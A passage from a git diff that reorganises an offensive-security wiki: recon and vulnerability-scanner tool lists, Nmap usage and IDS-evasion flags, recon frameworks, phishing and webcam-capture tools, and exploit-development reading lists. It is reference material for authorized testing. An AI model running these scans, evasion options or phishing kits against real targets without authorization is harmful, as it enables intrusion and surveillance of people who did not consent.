url="../../web-app-hacking/burp-suite.md" %} -[burp-suite.md](../../web-app-hacking/burp-suite.md) +{% content-ref url="../../cyber-intelligence/osint/domain.md" %} +[domain.md](../../cyber-intelligence/osint/domain.md) {% endcontent-ref %} -{% content-ref url="../../web-app-hacking/web-app-testing-frameworks.md" %} -[web-app-testing-frameworks.md](../../web-app-hacking/web-app-testing-frameworks.md) -{% endcontent-ref %} +* [DNSRecon](https://github.com/darkoperator/dnsrecon) +* [dnsenum](https://www.kali.org/tools/dnsenum/) +* [dnsmap](https://www.kali.org/tools/dnsmap/) +* [dnsx](https://github.com/projectdiscovery/dnsx) +* [massdns](https://github.com/blechschmidt/massdns) +* [shuffledns](https://github.com/projectdiscovery/shuffledns) +* [Knock](https://github.com/guelfoweb/knock) +* [HostileSubBruteforcer](https://github.com/nahamsec/HostileSubBruteforcer) +* [altdns](https://www.kali.org/tools/altdns/) +* [assetfinder](https://www.kali.org/tools/assetfinder/) +* [Sublist3r](https://github.com/aboul3la/Sublist3r) +* [zdns](https://github.com/zmap/zdns) +* [aiodnsbrute](https://github.com/blark/aiodnsbrute) +* [Findomain](https://github.com/Findomain/Findomain) +* [Dome](https://github.com/v4d1/Dome) + +Subdomain screenshot and flyover tools overlap with web application recon. Keep the detailed workflow in Web App Hacking. {% content-ref url="../../web-app-hacking/scanning-utilities.md" %} [scanning-utilities.md](../../web-app-hacking/scanning-utilities.md) {% endcontent-ref %} -{% tabs %} -{% tab title="Web Content Discovery" %} -...burp... - -* [Photon](https://github.com/s0md3v/Photon) - Incredibly fast crawler designed for OSINT. -* [URLgrab](https://github.com/IAmStoxe/urlgrab) - A golang utility to spider through a website searching for additional links. -* [hakrawler](https://github.com/hakluke/hakrawler) - Simple, fast web crawler designed for easy, quick discovery of endpoints and assets within a web application. Also built by the Legendary Hakluke -* [gospider](https://www.kali.org/tools/gospider/) - This package contains a Fast web spider written in Go. -* [filebuster](https://github.com/henshin/filebuster) - Filebuster is a HTTP fuzzer / content discovery script with loads of features and built to be easy to use and fast! It uses one of the fastest HTTP classes in the world (of PERL) - Furl::HTTP. Also the thread modelling is optimized to run as fast as possible. -* [feroxbuster](https://www.kali.org/tools/feroxbuster/) - feroxbuster is a tool designed to perform Forced Browsing. Forced browsing is an attack where the aim is to enumerate and access resources that are not referenced by the web application, but are still accessible by an attacker. -{% endtab %} - -{% tab title="Second Tab" %} - -{% endtab %} -{% endtabs %} - -
- -Misc Web App Testing Tools - -* [https://www.webgap.io/](https://www.webgap.io/) - [WEBGAP](https://www.urbandictionary.com/define.php?term=webgap) remote browser isolation physically isolates you from the risks of using the internet by isolating your web browsing activity away from your local device. - - - -* [https://requestbin.com/](https://requestbin.com/) - A modern request bin to collect, inspect and debug HTTP requests and webhooks - - +## Vulnerability Scanning -* [Race-the-web](https://github.com/TheHackerDev/race-the-web) - Tests for race conditions in web applications. Includes a RESTful API to integrate into a continuous integration pipeline. +Vulnerability scanners identify known weaknesses, exposed versions, misconfigurations, and risky defaults. They can be noisy, so validate scope, rate limits, and maintenance windows before running them. - +* [Nessus Professional](https://www.tenable.com/products/nessus/nessus-professional) +* [Nessus Essentials](https://www.tenable.com/products/nessus/nessus-essentials) +* [Nessus Downloads](https://www.tenable.com/downloads/nessus) +* [OpenVAS](https://github.com/greenbone/openvas) / [Greenbone Community Edition](https://greenbone.github.io/docs/latest/) +* [Kali GVM package](https://www.kali.org/tools/gvm/) +* [Nmap NSE Scripts](https://nmap.org/nsedoc/) +* [ReconMap](https://reconmap.org/) +* [Vulmap](https://github.com/vulmon/Vulmap) +* [Vuls](https://github.com/future-architect/vuls) +* [Tsunami Scanner](https://github.com/google/tsunami-security-scanner) +* [Flan Scan](https://github.com/cloudflare/flan) -* [DVCS-Ripper](https://github.com/kost/dvcs-ripper) - Rip web accessible (distributed) version control systems: SVN, GIT, Mercurial/hg, bzr, etc. +### Example Commands - - -* [SSLStrip](https://github.com/LeonardoNve/sslstrip2) - This is a new version of \[Moxie´s SSLstrip] ([http://www.thoughtcrime.org/software/sslstrip/](http://www.thoughtcrime.org/software/sslstrip/)) with the new feature to avoid HTTP Strict Transport Security (HSTS) protection mechanism. - - - -* [BB King's Quieter Firefox template](https://bitbucket.org/mrbbking/quieter-firefox/src/master/) - Stripped down Firefox with no callouts to throw off traffic. Great for testing of all sorts. - - - -* [Unfurl](https://dfir.blog/unfurl/) - Tool for breaking down a URL to better understand its components.Fake credit card numbers for testing payment systems - - - -* [Credit Cards numbers](https://stripe.com/docs/testing#cards) for use in testing - - +```bash +sudo apt install ./Nessus-X.X.X.deb +sudo systemctl start nessusd +sudo gvm-setup +sudo gvm-check-setup +sudo runuser -u _gvm -- greenbone-feed-sync +nmap --script-help default +nmap --script vuln 10.10.10.10 +``` -* [interactsh](https://github.com/projectdiscovery/interactsh) - An OOB interaction gathering server and client library - * [https://app.interactsh.com/](https://app.interactsh.com/) +Nessus commonly listens on `https://localhost:8834`. Greenbone/GVM web UI ports vary by package and configuration, so check the local service output instead of relying on old OpenVAS port references. - +## TLS and Service Configuration Checks -* [Firebounty](https://firebounty.com) — Bug bounty search engine +For HTTPS-specific testing, use the Web Technologies SSL/TLS page. The tools below are also useful for non-HTTP TLS services. - +{% content-ref url="../../web-app-hacking/web-technologies/ssl-tls-and-certificates.md" %} +[ssl-tls-and-certificates.md](../../web-app-hacking/web-technologies/ssl-tls-and-certificates.md) +{% endcontent-ref %} -* [https://github.com/brevityinmotion/goodfaith](https://github.com/brevityinmotion/goodfaith) - A tool that helps you stay within scope for bug bounty recon automation. +* [testssl.sh](https://github.com/drwetter/testssl.sh) +* [SSLYZE](https://github.com/nabla-c0d3/sslyze) +* [ssl-cipher-suite-enum](https://github.com/portcullislabs/ssl-cipher-suite-enum) +* [TLS Prober](https://github.com/WestpointLtd/tls_prober) -
+## Honeypot and Filtering Awareness -## Other Scanning Utilities +These tools can help identify defensive traps or filtering behavior during authorized testing. Use them carefully and document assumptions; a honeypot score is not proof. -
+* [HoneyCaught](https://github.com/aswinmguptha/HoneyCaught) +* [Sniffing Bear](https://github.com/MrSuicideParrot/SniffingBear) +* [Shodan Honeyscore](https://honeyscore.shodan.io/) +* [firewalk](https://www.kali.org/tools/firewalk/) +* [ftester](https://www.kali.org/tools/ftester/) -SSL/TLS Scanning +## Default Credential Checks -* [SSL Cipher Suite Enum](https://github.com/portcullislabs/ssl-cipher-suite-enum) - Perl script to enumerate supported SSL cipher suites supported by network services (principally HTTPS). -* [sslScrape](https://github.com/cheetz/sslScrape) - strips hostnames form certs over port 443 connections -* [SSLYZE](https://github.com/nabla-c0d3/sslyze) - TLS/SSL config analyzer -* [tls\_prober](https://github.com/WestpointLtd/tls\_prober) - TLS Prober is a tool for identifying the implementation in use by SSL/TLS servers. It analyses the behaviour of a server by sending a range of probes then comparing the responses with a database of known signatures. -* [testssl.sh](https://github.com/drwetter/testssl.sh) - A free command line tool which checks a server's service on any port for the support of TLS/SSL ciphers, protocols as well as some cryptographic flaws. -* [https://pentestbook.six2dez.com/enumeration/ssl-tls](https://pentestbook.six2dez.com/enumeration/ssl-tls) - List of commads to test for specific SSL/TLS Vulnerabilities. +* [changeme](https://www.kali.org/tools/changeme/) - Default credential scanner for HTTP(S), MSSQL, MySQL, PostgreSQL, SSH, and SSH keys. -
+For deeper password attacks, use the Password Attacks page. -
+{% content-ref url="../testing-methodology/password-attacks.md" %} +[password-attacks.md](../testing-methodology/password-attacks.md) +{% endcontent-ref %} -Misc Scanning tools +## Training -* [HoneyCaught](https://github.com/aswinmguptha/HoneyCaught) - Honeypot detection tool -* [Sniffing Bear](https://github.com/MrSuicideParrot/SniffingBear) - A modular and distributed tool developed in python to scan networks for honeypots -* [https://honeyscore.shodan.io/](https://honeyscore.shodan.io/) - Shodan honeypot detector. -* [changeme](https://www.kali.org/tools/changeme/) - This package contains a default credential scanner. changeme supports the http/https, MSSQL, MySQL, Postgres, ssh and ssh w/key protocols. -* [SharpShare](https://github.com/djhohnstein/SharpShares/) - Enumerate all network shares in the current domain. Also, can resolve names to IP addresses. -* [Phishious](https://github.com/Rices/Phishious) - An open-source Secure Email Gateway (SEG) evaluation toolkit designed for red-teamers. -* [firewalk](https://www.kali.org/tools/firewalk/) - Firewalk is an active reconnaissance network security tool that attempts to determine what layer 4 protocols a given IP forwarding device will pass. -* [ftester](https://www.kali.org/tools/ftester/) - The Firewall Tester (FTester) is a tool designed for testing firewall filtering policies and Intrusion Detection System (IDS) capabilities. +Training rooms and labs for passive recon, active recon, RustScan, OpenVAS, and Sublist3r live in Training. -
+{% content-ref url="../../training/" %} +[training](../../training/) +{% endcontent-ref %} diff --git a/red-offensive/scanning-active-recon/nmap.md b/red-offensive/scanning-active-recon/nmap.md index 2496b55..bb1b27f 100644 --- a/red-offensive/scanning-active-recon/nmap.md +++ b/red-offensive/scanning-active-recon/nmap.md @@ -7,7 +7,7 @@ * [https://nmap.org/book/toc.html](https://nmap.org/book/toc.html) * [NSEDoc Reference Portal](https://nmap.org/nsedoc/) * [https://www.amazon.com/Nmap-Network-Scanning-Official-Discovery/dp/0979958717](https://www.amazon.com/Nmap-Network-Scanning-Official-Discovery/dp/0979958717) -* [https://blogs.sans.org/pen-testing/files/2013/10/NmapCheatSheetv1.1.pdf](https://blogs.sans.org/pen-testing/files/2013/10/NmapCheatSheetv1.1.pdf) +* [SANS Nmap Cheat Sheet](https://blogs.sans.org/pen-testing/files/2013/10/NmapCheatSheetv1.1.pdf) - Useful quick reference, but dated. * [https://blog.zsec.uk/nmap-rtfm/](https://blog.zsec.uk/nmap-rtfm/) * [https://gtfobins.github.io/gtfobins/nmap/](https://gtfobins.github.io/gtfobins/nmap/) * _Operator Handbook: NMAP - pg. 222_ @@ -30,8 +30,11 @@ {% endtab %} {% tab title="Training" %} -* [https://tryhackme.com/room/nmap01](https://tryhackme.com/room/nmap01) -* [https://tryhackme.com/room/furthernmap](https://tryhackme.com/room/furthernmap) +Nmap training rooms are maintained in Training. + +{% content-ref url="../../training/" %} +[training](../../training/) +{% endcontent-ref %} {% endtab %} {% endtabs %} @@ -45,7 +48,7 @@ * \-sV - Loud version scan, will make complete connection, grab banner, and version info * \-A - run service enumeration scripts * \-oA \[filename] - Print nmap output to file name -* \-Pn - disable ping. Most big companies will have ping diabled on most external entities +* \-Pn - disable host discovery. Most large organizations block ping on many external assets. * \-n - disable DNS resolution, helps speed up scan
@@ -159,7 +162,7 @@ nmap -sV -v -p- [IP Address] ## NSE - Nmap scripting Engine -Nmap Scripting Engine (NSE) allows users to run custom and community generated scripts. ◇ stored in /usr/share/nmap/scripts +Nmap Scripting Engine (NSE) allows users to run custom and community-generated scripts stored in `/usr/share/nmap/scripts`. {% tabs %} {% tab title="Basics" %} @@ -185,7 +188,7 @@ As well as specifying the name of the script, it is sometimes necessary to speci Run all NSE scripts against found ports ``` -$nmap -Pn -sV -O -pT:{TCP ports found},U:{UDP ports found} --script *vuln* $ip +nmap -Pn -sV -O -p T:80,443,U:53 --script "*vuln*" $ip ``` {% endtab %} @@ -228,7 +231,7 @@ Just add garbage data to the packets so the IPS/IDS signature is avoided. {% tab title="Fragmentation" %} Just fragment the packets and send them. If the IDS/IPS doesn't have the ability to reassemble them, they will arrive to the final host. -**Nmap option** +**Nmap option:** `-f` or `--mtu ` {% endtab %} {% tab title="Invalid checksum" %} diff --git a/red-offensive/scanning-active-recon/recon-frameworks.md b/red-offensive/scanning-active-recon/recon-frameworks.md index 5fd6a1a..4a192c7 100644 --- a/red-offensive/scanning-active-recon/recon-frameworks.md +++ b/red-offensive/scanning-active-recon/recon-frameworks.md @@ -1,82 +1,72 @@ # Recon Frameworks -Recon Frameworks are the backbone of any recon phase of a penetration test. With the wealth of information they can retrieve, they can also be leveraged for assisting in actions such as threat hunting, threat intelligence, attack surface mapping, and many others. +Recon frameworks combine multiple data sources, command-line tools, APIs, scans, screenshots, and reports into repeatable workflows. Many support both passive and active techniques, so match modules to the engagement scope before running them. -## Spiderfoot +For purely passive OSINT investigation, use Cyber Intelligence. -
+{% content-ref url="../../cyber-intelligence/osint/" %} +[osint](../../cyber-intelligence/osint/) +{% endcontent-ref %} -Spiderfoot +## Primary Frameworks -This is my go to for OSINT searches. Not only is it easy to use, it has a great web UI with loadable templates you can tailor to the scan that you want. It has over 200 different modules to collect different information about your target. These modules can call on other command line utilities as well as web services to pull in data. +### SpiderFoot -Some of these modules will require an API key, but most services offer a free version. Getting as many of these free API keys as possible is preferable. Once you have your API keys, you can save them as part of a scan template that allows them to be imported and used at ease. +[SpiderFoot](https://www.spiderfoot.net/) is an OSINT automation platform with a web UI, templates, and many modules for collecting target data from public sources and APIs. -As with any great tool, make sure you read the [documentation](https://www.spiderfoot.net/documentation/), and check out some of the [video tutorials](https://asciinema.org/\~spiderfoot) on the tool. +* [Documentation](https://www.spiderfoot.net/documentation/) +* [SpiderFoot tutorials](https://asciinema.org/~spiderfoot) +* [iRed Team: SpiderFoot 101 with Kali and Docker](https://www.ired.team/offensive-security/red-team-infrastructure/spiderfoot-101-with-kali-using-docker) -* [https://www.ired.team/offensive-security/red-team-infrastructure/spiderfoot-101-with-kali-using-docker](https://www.ired.team/offensive-security/red-team-infrastructure/spiderfoot-101-with-kali-using-docker) +### Recon-ng -
+[Recon-ng](https://github.com/lanmaster53/recon-ng) is a modular Python reconnaissance framework. It is useful when you want repeatable modules, API-backed lookups, and structured output. -## Recon-NG - -
- -Recon-ng - -This command line tool is the gold standard for recon. Tim Tomes (lanmaster53) has done an incredible job with it, making a plethora of modules for various needs. It is a flexible python framework that makes it ideal for automating tasks. After loading your API keys into a lookup file for the Recon-ng modules, you can select some or all of the modules to run and output the results into the file of your choice. Because the modules in Recon-ng can be run independently and can be scripted pretty easily, it is easy to incorporate its modules into other workflows outside of passive recon. Take a look at all of them, and see what you can use. - -Recon-ng has a ton of great resources, but by far the BlackHills Infosec walkthroughs are the best guides for how to use this tool. Also check out Tim's website with his training and other tools. - -* [Recon-ng Wiki](https://github.com/lanmaster53/recon-ng/wiki) - Read the documentation. Always. -* [Website for the creator of Recon-ng, lanmaster53](https://www.lanmaster53.com) - Check out his training courses. Highly reccomended. -* [PluralSight course on using Recon-ng](https://www.pluralsight.com/courses/technical-information-gathering-recon-ng) - Great structured training on this tool's use. -* [Black Hills Infosec Intro to Recon-ng](https://www.blackhillsinfosec.com/whats-changed-in-recon-ng-5x/) -* [Black Hills Infosec Recon-ng cheatsheet](https://www.blackhillsinfosec.com/wp-content/uploads/2019/11/recon-ng-5.x-cheat-sheet-Sheet1-1.pdf) - -
+* [Recon-ng Wiki](https://github.com/lanmaster53/recon-ng/wiki) +* [lanmaster53](https://www.lanmaster53.com/) +* [Pluralsight: Technical Information Gathering with Recon-ng](https://www.pluralsight.com/courses/technical-information-gathering-recon-ng) +* [Black Hills: What's Changed in Recon-ng 5.x](https://www.blackhillsinfosec.com/whats-changed-in-recon-ng-5x/) +* [Black Hills Recon-ng Cheat Sheet](https://www.blackhillsinfosec.com/wp-content/uploads/2019/11/recon-ng-5.x-cheat-sheet-Sheet1-1.pdf) {% embed url="https://youtu.be/0J6Auz88iTY" %} -## Maltego - -
+### Maltego -Maltego +[Maltego](https://www.maltego.com/) is a graphical link-analysis and OSINT platform for connecting people, domains, infrastructure, social accounts, and other entities. -* [Maltego](https://www.maltego.com/) - Maltego is an open source intelligence and graphical link analysis tool for gathering and connecting information for investigative tasks. - * [https://docs.maltego.com/support/home](https://docs.maltego.com/support/home) - * [https://static.maltego.com/cdn/Handbooks/Maltego-Handbook-for-Social-Media-Investigations-Short.pdf](https://static.maltego.com/cdn/Handbooks/Maltego-Handbook-for-Social-Media-Investigations-Short.pdf) - -
+* [Maltego Support and Docs](https://docs.maltego.com/support/home) +* [Maltego Handbook for Social Media Investigations](https://static.maltego.com/cdn/Handbooks/Maltego-Handbook-for-Social-Media-Investigations-Short.pdf) {% embed url="https://youtu.be/zemNLx0-LRw" %} -## **Other Frameworks** - -These other frameworks do many of the same tasks that the previous two perform. Some are still actively being developed and promise expanded functionality in the future. - -
- -Other Frameworks - -* [sn0int ](https://github.com/kpcyrd/sn0int)- A semi-automatic OSINT framework and package manager. It was built for IT security professionals and bug hunters to gather intelligence about a given target or about yourself. -* [Raccoon](https://github.com/evyatarmeged/Raccoon) - An offensive security focused framework that performs a good bit of OSINT as well as active scanning on your target to get everything you need before attempts at exploitation. -* [ReconSpider ](https://github.com/bhavsec/reconspider)- Another great offensive recon tool that has a great option to present the data in different visuals to help you conceptualize the data around your target -* [OWASP Maryam](https://github.com/saeeddhqan/Maryam) - A modular open-source framework based on OSINT and data gathering. It is designed to provide a robust environment to harvest data from open sources and search engines quickly and thoroughly. -* [Discover Scripts ](https://github.com/leebaird/discover)- One of the first offensive reconnaissance tools, the discover scripts by Lee Baird are a set of custom scripts for automating the inital phases of a penetration test. -* [DarkSide](https://github.com/ultrasecurity/DarkSide) - Tool Information Gathering & social engineering Write By \[Python,JS,PHP] -* [ReconFTW](https://github.com/six2dez/reconftw) - ReconFTW is a tool designed to perform automated recon on a target domain by running the best set of tools to perform scanning and finding out vulnerabilities -* [dmitry](https://www.kali.org/tools/dmitry/) - DMitry can find possible subdomains, email addresses, uptime information, perform tcp port scan, whois lookups, and more. -* [Z4nzu/hackingtool](https://github.com/Z4nzu/hackingtool) - Thorough all-in-one tool for hacking. -* [finalrecon](https://www.kali.org/tools/finalrecon/) - A fast and simple python script for web reconnaissance that follows a modular structure and provides detailed information on various areas. -* [gasmask](https://github.com/twelvesec/gasmask) - All in one Information gathering tool -* [machinae](https://github.com/HurricaneLabs/machinae) - Machinae is a tool for collecting intelligence from public sites/feeds about various security-related pieces of data: IP addresses, domain names, URLs, email addresses, file hashes and SSL fingerprints. -* [blacklanternsecurity/bbot](https://github.com/blacklanternsecurity/bbot) - **BBOT** is a **recursive**, **modular** OSINT framework inspired by Spiderfoot and written in Python. Capable of executing the entire OSINT process in a single command, BBOT does subdomain enumeration, port scanning, web screenshots (with its `gowitness` module), vulnerability scanning (with `nuclei`), and much more. - - BBOT currently has over **60 modules** and counting. -* [https://github.com/slithery0/eReKon](https://github.com/slithery0/eReKon) - Yet another web recon tool But beautiful -* [https://www.reconness.com/](https://www.reconness.com/) -* [https://www.runzero.com/](https://www.runzero.com/) - -
+## Offensive Recon and ASM Frameworks + +* [BBOT](https://github.com/blacklanternsecurity/bbot) - Recursive modular OSINT and recon framework with subdomain enumeration, port scanning, screenshots, and nuclei support. +* [ReconFTW](https://github.com/six2dez/reconftw) - Automated recon workflow for domains, bug bounty, and pentest targets. +* [Sn1per](https://github.com/1N3/Sn1per) - Automated recon and penetration testing framework with OSINT, scanning, and reporting. +* [reNgine](https://github.com/yogeshojha/rengine) - Web application reconnaissance suite with engines, screenshots, correlation, reports, and continuous monitoring. +* [OWASP Amass](https://github.com/OWASP/Amass) - External attack surface mapping and asset discovery. +* [runZero](https://www.runzero.com/) - Network discovery and asset inventory platform. +* [ReconNess](https://www.reconness.com/) - Recon management platform for organizing targets and findings. +* [Axiom](https://github.com/pry0cc/axiom) - Dynamic infrastructure framework for distributed recon and offensive workflows. +* [JupyterPen](https://github.com/obheda12/JupyterPen) - Jupyter-based OSINT and penetration testing toolkit. + +## Other Frameworks and Toolkits + +* [sn0int](https://github.com/kpcyrd/sn0int) - Semi-automatic OSINT framework and package manager. +* [Raccoon](https://github.com/evyatarmeged/Raccoon) - Offensive recon framework with OSINT and active scanning. +* [ReconSpider](https://github.com/bhavsec/reconspider) - Information-gathering tool with visual output. +* [OWASP Maryam](https://github.com/saeeddhqan/Maryam) - Modular OSINT and data-gathering framework. +* [Discover Scripts](https://github.com/leebaird/discover) - Early-stage penetration test discovery scripts. +* [DMitry](https://www.kali.org/tools/dmitry/) - Finds subdomains, email addresses, uptime, WHOIS data, and TCP ports. +* [finalrecon](https://www.kali.org/tools/finalrecon/) - Modular web reconnaissance script. +* [gasmask](https://github.com/twelvesec/gasmask) - Information-gathering toolkit. +* [machinae](https://github.com/HurricaneLabs/machinae) - Collects public intelligence about IPs, domains, URLs, emails, file hashes, and SSL fingerprints. + +## Low Signal or Validate Before Use + +These are preserved for resource completeness, but validate maintenance and quality before adding them to a workflow. + +* [DarkSide](https://github.com/ultrasecurity/DarkSide) - Older information-gathering and social engineering toolkit. +* [Z4nzu/hackingtool](https://github.com/Z4nzu/hackingtool) - Large all-in-one hacking tool menu; review modules carefully before use. +* [eReKon](https://github.com/slithery0/eReKon) - Web recon tool that appears incomplete or under active development. diff --git a/red-offensive/social-engineering.md b/red-offensive/social-engineering.md index 9426c44..4f128ad 100644 --- a/red-offensive/social-engineering.md +++ b/red-offensive/social-engineering.md @@ -32,6 +32,10 @@ {% tab title="Attack Phases" %} * **OSINT** - The research performed on the target using Open-Source Intelligence tools. This phase does not interact with the target in anyway. * _Social Engineering: Christopher Hadnagy - pg.17_ + * OSINT tools and methodology are maintained under Cyber Intelligence. + {% content-ref url="../cyber-intelligence/osint/" %} + [osint](../cyber-intelligence/osint/) + {% endcontent-ref %} * **Pretext Development** - This is where an attacker develops their reason for initial interaction. * **Attack Plan** - Planning out the Who, What, When, Where, Why, and How of the attack. * **Attack Launch** @@ -60,7 +64,7 @@ * [SocialFish](https://github.com/UndeadSec/SocialFish) - Educational Phishing Tool & Information Collector * [shellphish](https://github.com/suljot/shellphish) - Phishing Tool for Instagram, Facebook, Twitter, Snapchat, Github * [https://www.hackingarticles.in/shellphish-a-phishing-tool/](https://www.hackingarticles.in/shellphish-a-phishing-tool/) -* [saycheese](https://github.com/hangetzzu/saycheese) - Take webcam shots from target just sending a malicious link +* [saycheese](https://github.com/hangetzzu/saycheese) - Webcam-capture proof-of-concept. High-abuse potential; only use in tightly scoped, written-authorized social engineering tests. {% endtab %} {% tab title="Guides and Methodology" %} @@ -68,7 +72,7 @@ * [https://www.blackhillsinfosec.com/how-to-phish-for-geniuses/](https://www.blackhillsinfosec.com/how-to-phish-for-geniuses/) * [https://sidb.in/2021/08/03/Phishing-0-to-100.html](https://sidb.in/2021/08/03/Phishing-0-to-100.html) * [https://xapax.github.io/security/#initial\_access/social\_engineering\_-\_phishing/](https://xapax.github.io/security/#initial\_access/social\_engineering\_-\_phishing/) -* Phishing Defense +* Understanding Phishing Defenses for Engagement Planning * [https://www.blackhillsinfosec.com/offensive-spf-how-to-automate-anti-phishing-reconnaissance-using-sender-policy-framework/](https://www.blackhillsinfosec.com/offensive-spf-how-to-automate-anti-phishing-reconnaissance-using-sender-policy-framework/) * [https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/the-attack-of-the-chameleon-phishing-page/](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/the-attack-of-the-chameleon-phishing-page/) * Auth attacks @@ -97,6 +101,7 @@ * [I-See-You](https://github.com/Viralmaniar/I-See-You) - A Bash and Javascript tool to find the exact location of the users during social engineering or phishing engagements. Using exact location coordinates an attacker can perform preliminary reconnaissance which will help them in performing further targeted attacks. * [https://iplogger.org/](https://iplogger.org/) * [http://canarytokens.org/generate](http://canarytokens.org/generate) + * Canarytokens are primarily defensive deception tools. In this context, use them only to understand how a client may detect engagement activity. * [http://www.urlbiggy.com/](http://www.urlbiggy.com/) * [https://getnotify.com/](https://getnotify.com/) * User tracking with Wireshark and Google Maps -[https://youtu.be/xuNuy8n8u-Y](https://youtu.be/xuNuy8n8u-Y) diff --git a/red-offensive/testing-methodology/active-directory.md b/red-offensive/testing-methodology/active-directory.md index a26745a..5f9cb22 100644 --- a/red-offensive/testing-methodology/active-directory.md +++ b/red-offensive/testing-methodology/active-directory.md @@ -108,7 +108,11 @@ description: Where can we go, once we are in? * [https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/](https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/) * [Tactics, Techniques and Procedures for Attacking Active Directory BlackHat Asia 2019](https://docs.google.com/presentation/d/1j2nW05H-iRz7-FVTRh-LBXQm6M6YIBQNWa4V7tp99YQ/) * [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse) -* [WadComs - ](https://wadcoms.github.io)WADComs is an interactive cheat sheet, containing a curated list of offensive security tools and their respective commands, to be used against Windows/AD environments. +WadComs is maintained in the Offensive Toolbox. + +{% content-ref url="../offensive-toolbox/" %} +[offensive-toolbox](../offensive-toolbox/) +{% endcontent-ref %}
diff --git a/red-offensive/testing-methodology/exploit-dev-buffer-overflow.md b/red-offensive/testing-methodology/exploit-dev-buffer-overflow.md index a8a95f9..2224aa5 100644 --- a/red-offensive/testing-methodology/exploit-dev-buffer-overflow.md +++ b/red-offensive/testing-methodology/exploit-dev-buffer-overflow.md @@ -7,7 +7,6 @@ ## **Guides** * [https://kalitut.com/exploit-development-resources/](https://kalitut.com/exploit-development-resources/) -* [https://github.com/johnjhacking/Buffer-Overflow-Guide](https://github.com/johnjhacking/Buffer-Overflow-Guide) * [https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/) * [https://www.corelan.be/index.php/2009/07/23/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-2/](https://www.corelan.be/index.php/2009/07/23/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-2/) * [https://www.sans.org/reading-room/whitepapers/threats/buffer-overflows-dummies-481](https://www.sans.org/reading-room/whitepapers/threats/buffer-overflows-dummies-481) @@ -45,7 +44,7 @@ Stack * [CTF-Wiki](https://ctf-wiki.org/pwn/readme/) * [Ret2 Systems](https://wargames.ret2.systems/) (paid) * [Ironstone](https://ir0nstone.gitbook.io/notes) -* [PWN Practice](https://github.com/seal9055/PWN\_Zero2Hero) (mine) +* [PWN Practice](https://github.com/seal9055/PWN_Zero2Hero) Heap @@ -69,7 +68,7 @@ Kernel basics/dev Exploitation * [lkmidas](https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/) -* [Kernel ROP](https://seal9055.com/blog/kernel/return\_oriented\_programming) (mine) +* [Kernel ROP](https://seal9055.com/blog/kernel/return_oriented_programming) * [ptr-yudai](https://ptr-yudai.hatenablog.com/entry/2020/03/16/165628#LeakAARAAWRIP%E5%88%B6%E5%BE%A1%E3%81%AB%E4%BD%BF%E3%81%88%E3%82%8B%E6%A7%8B%E9%80%A0%E4%BD%93%E4%B8%80%E8%A6%A7) * [Lexfo](https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part1.html) * [Kernel Heap Exploitation](https://argp.github.io/2012/01/03/linux-kernel-heap-exploitation/) @@ -85,7 +84,7 @@ Exploitation ### Browser Exploitation -* [seal9055\_Complete Introduction](https://seal9055.com/blog/browser/browser\_architecture) (mine) +* [seal9055 Complete Introduction](https://seal9055.com/blog/browser/browser_architecture) * [Official V8 Blog](https://v8.dev/blog) * [pwnbykenny V8 Objects](https://pwnbykenny.com/2020/07/05/v8-objects-and-their-structures/) * [Jayconrod V8 Objects](https://www.jayconrod.com/posts/52/a-tour-of-v8--object-representation) @@ -126,7 +125,7 @@ Exploitation ## **Tools** -* [Frida](https://github.com/frida) - Inject arbitrary code into other applications! +* [Frida](https://github.com/frida) - Dual-use dynamic instrumentation framework for authorized exploit development, mobile testing, and reverse engineering. * [Frida • A world-class dynamic instrumentation framework | Inject JavaScript to explore native apps on Windows, macOS, GNU/Linux, iOS, Android, and QNX](https://frida.re/) * [Awesome Lists Collection: Frida](https://github.com/dweinstein/awesome-frida) * _Operator Handbook: Frida - pg.67_ diff --git a/red-offensive/testing-methodology/exploit-research.md b/red-offensive/testing-methodology/exploit-research.md index b1cab17..52c8fcf 100644 --- a/red-offensive/testing-methodology/exploit-research.md +++ b/red-offensive/testing-methodology/exploit-research.md @@ -1,233 +1,140 @@ -# Exploitation and Targets +# Vulnerability and Exploit Research -## Exploitation Frameworks +Use this page when reconnaissance has identified a product, version, service, or CVE and you need to understand exploitability. General indicator reputation and passive threat intelligence live in Cyber Intelligence. -For those wanting an all-in-one solution, (or as close as we can get it), there exists larger frameworks that contain a multitude of tools and utilties to perform far more than just initial exploitation. - -{% content-ref url="../exploitation-and-targets/offensive-frameworks.md" %} -[offensive-frameworks.md](../exploitation-and-targets/offensive-frameworks.md) +{% content-ref url="../../cyber-intelligence/threat-data.md" %} +[threat-data.md](../../cyber-intelligence/threat-data.md) {% endcontent-ref %} -## Exploit Research - -After your all your active and passive scanning is finished, you should have a a pretty good understanding of the technology that makes up your target. The next step is to look for weaknesses in those technologies. Vulnerability databases are a trove of information on what versions of different technologies have vulnerabilities that can be exploited. Some vulnerability entries will even have information on and links to, the exploit coded for the target vulnerability. - -
- -Vulnerability Research Databases - -* [National Vulnerability DB](https://nvd.nist.gov/) - The NIST NVD includes databases of security checklist references, security-related software flaws, misconfigurations, product names, and impact metrics. -* [MITRE CVE](https://cve.mitre.org/cve/search\_cve\_list.html) - Identify, define, and catalog publicly disclosed cybersecurity vulnerabilities -* [GitHub Advisory Database](https://github.com/advisories) - Security vulnerability database inclusive of CVEs and GitHub originated security advisories -* [cloudvulndb.org](https://www.cloudvulndb.org/) - The Open Cloud Vulnerability & Security Issue Database -* [osv.dev](https://osv.dev/list) - Open Source Vulnerabilities -* [Vuldb](https://vuldb.com/) - Public and community supported vulnerability database -* [Attacker KB](https://attackerkb.com/) - Vulnerability forum where researchers can add details to a vulnerability entry. - * [https://tryhackme.com/room/attackerkb](https://tryhackme.com/room/attackerkb) -* [CVE details](https://www.cvedetails.com/) - Vulnerability database with some enrichment around the vulnerability -* [Zero Day DB](https://www.zero-day.cz/database/) - Research and data repository for 